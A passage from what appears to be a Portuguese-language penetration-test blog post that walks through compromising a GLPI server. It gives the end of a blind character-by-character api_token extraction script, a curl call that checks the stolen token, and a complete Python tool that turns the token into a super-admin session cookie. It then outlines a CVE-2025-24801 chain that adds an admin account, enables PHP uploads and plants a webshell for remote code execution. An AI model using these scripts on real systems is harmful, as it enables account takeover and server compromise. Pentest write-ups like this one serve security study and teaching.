&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        for&lt;&#x2F;span&gt;&lt;span&gt; char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; 127&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; payload(args.url, args.name, pos, char, args.sleep, args.timeout):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                token&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt; chr&lt;&#x2F;span&gt;&lt;span&gt;(char)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;                print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(char),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; end&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; flush&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;                break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;    print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;\n{&lt;&#x2F;span&gt;&lt;span&gt;token&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    main()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Executando o script e esperando o processo de extração, logo vamos ter o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; completo do usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; em mãos. Para verificar se o token está funcional, utilizei a própria rota da API do GLPI &lt;code&gt;&#x2F;apirest.php&#x2F;initSession?get_full_session=true&lt;&#x2F;code&gt; que vi anteriormente na documentação, e que retorna um &lt;strong&gt;session_token&lt;&#x2F;strong&gt; caso o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; seja válido.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -X&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; GET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;    -H&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;Content-Type: application&#x2F;json&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;    -H&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;Authorization: user_token &amp;lt;api_token&amp;gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;    &amp;#39;https:&#x2F;&#x2F;&amp;lt;instancia-glpi&amp;gt;&#x2F;apirest.php&#x2F;initSession?get_full_session=true&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Felizmente tudo correu bem durante o processo de extração do &lt;strong&gt;api_token&lt;&#x2F;strong&gt; e o mesmo era válido, a API retornou uma resposta JSON completa com informações da sessão juntamente de um &lt;strong&gt;session_token&lt;&#x2F;strong&gt;, indicando que o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; é funcional.&lt;&#x2F;p&gt;
&lt;p&gt;Seguindo com a exploração, apenas com o &lt;strong&gt;session_token&lt;&#x2F;strong&gt; não é possível se autenticar na interface do serviço do GLPI, apenas interagir com a API. Então, desenvolvi outra ferramenta que utiliza o &lt;strong&gt;api_token&lt;&#x2F;strong&gt; para retornar um cookie de sessão válido. Ressalta-se que este código foi criado apenas para a resolução momentânea desta situação, então pode ocorrer problemas ou falso-positivos na execução.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; requests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; bs4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; BeautifulSoup&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; urllib3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; argparse&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;urllib3.disable_warnings()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; generate_cookie&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;base_url&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; user_token&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    login_url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; base_url.rstrip(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;&#x2F;front&#x2F;login.php&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    session&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; requests.Session()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    session.verify&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; False&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    session.headers.update({&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;User-Agent&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;   &amp;quot;Mozilla&#x2F;5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko&#x2F;20100101 Firefox&#x2F;139.0&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;Referer&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:      login_url,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;Origin&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:       base_url.rstrip(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;Accept&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;       &amp;quot;text&#x2F;html,application&#x2F;xhtml+xml&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    })&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    response&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; session.get(login_url); response.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    soup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BeautifulSoup(response.text,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;html.parser&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    form&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; soup.find(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;form&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; action&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;lambda&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span&gt;: x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;login.php&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; x)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    csrf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; form.find(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;input&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;name&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;_glpi_csrf_token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;})[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;value&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;redirect&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;          &amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;_glpi_csrf_token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:  csrf,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;auth&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;              &amp;quot;token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;user_token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:        user_token,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;      &amp;quot;submit&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;            &amp;quot;Login&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    second_response&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; session.post(login_url,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;data); second_response.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; cookie_name, cookie_value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; session.cookies.items():&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; cookie_name.startswith(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;glpi_&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;&quot;&gt;            print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Cookie: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;cookie_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;cookie_value&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;            return&lt;&#x2F;span&gt;&lt;span&gt; session&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    raise&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; RuntimeError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Impossible to generate a cookie :&#x2F; &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;quot;__main__&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparse.ArgumentParser()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-u&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--url&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;   required&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;URL&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    argparser.add_argument(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;-t&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;--token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; required&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt; help&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;api_token&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    args&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; argparser.parse_args()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    sess&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; generate_cookie(args.url, args.token)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Executando o script acima é possível obter um cookie de sessão para o usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt;. Com o cookie em mãos, finalmente pude me autenticar no GLPI. Para utilizar o cookie capturado, usei uma extensão no navegador chamada &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;chromewebstore.google.com&#x2F;detail&#x2F;cookie-editor&#x2F;hlkenndednhfkekhgcdicdfddnkalmdm&quot;&gt;&lt;strong&gt;Cookie-Editor&lt;&#x2F;strong&gt;&lt;&#x2F;a&gt; e inseri o valor capturado. Em seguida, atualizei a página e agora estou autenticado como o usuário &lt;strong&gt;glpi&lt;&#x2F;strong&gt; na instância do GLPI.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;cookie-editor.png&quot; alt=&quot;Extensão Cookie-Editor com o cookie inserido&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;glpi-interface.png&quot; alt=&quot;Interface do GLPI autenticada como super admin&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;criatividade-e-rce&quot;&gt;Criatividade e RCE&lt;&#x2F;h2&gt;
&lt;p&gt;Com uma sessão de &lt;strong&gt;super admin&lt;&#x2F;strong&gt; estabelecida, agora podemos prosseguir para o comprometimento interno desse GLPI. Conforme visto anteriormente, existe uma outra vulnerabilidade que afeta versões do GLPI inferiores à 10.0.17. Trata-se de uma vulnerabilidade catalogada como &lt;strong&gt;CVE-2025-24801&lt;&#x2F;strong&gt;, que explora uma vulnerabilidade de Local File Inclusion no mecanismo de definir uma fonte para arquivos PDF, cuja ideia é escrever uma webshell maliciosa no diretório temporário do GLPI (&lt;strong&gt;&#x2F;var&#x2F;www&#x2F;html&#x2F;glpi&#x2F;files&#x2F;_tmp&#x2F;&lt;&#x2F;strong&gt;) e acessá-la a partir deste Local File Inclusion, o que posteriormente nos permitirá escalonar para Remote Code Execution.&lt;&#x2F;p&gt;
&lt;p&gt;Primeiramente precisei de uma outra conta admin, pois o exploit que irei utilizar para explorar a vulnerabilidade requisita o usuário e a senha. Lembre-se de criar esta conta com o perfil &lt;strong&gt;super admin&lt;&#x2F;strong&gt;, assim garantimos todas as permissões necessárias.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;creating-account.png&quot; alt=&quot;Criando uma nova conta super admin no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Além disso, precisei permitir o upload de arquivos PHP, o que pode ser feito a partir do formulário de tipos de documentos, da mesma forma que está sendo feita abaixo:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;pentest-1&#x2F;allowing-php-files.png&quot; alt=&quot;Permitindo upload de arquivos PHP no GLPI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Após permitir o envio de arquivos PHP, utilizei &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;r1beirin&#x2F;CVE-2025-24801&#x2F;&quot;&gt;o exploit desenvolvido pelo pesquisador &quot;ribeirin&quot; que está disponível em seu GitHub&lt;&#x2F;a&gt;. A sintaxe para a execução do exploit é simples, basta especificar as credenciais da conta administradora que criei anteriormente, a URL do alvo e o comando que desejo executar.&lt;&#x2F;p&gt;
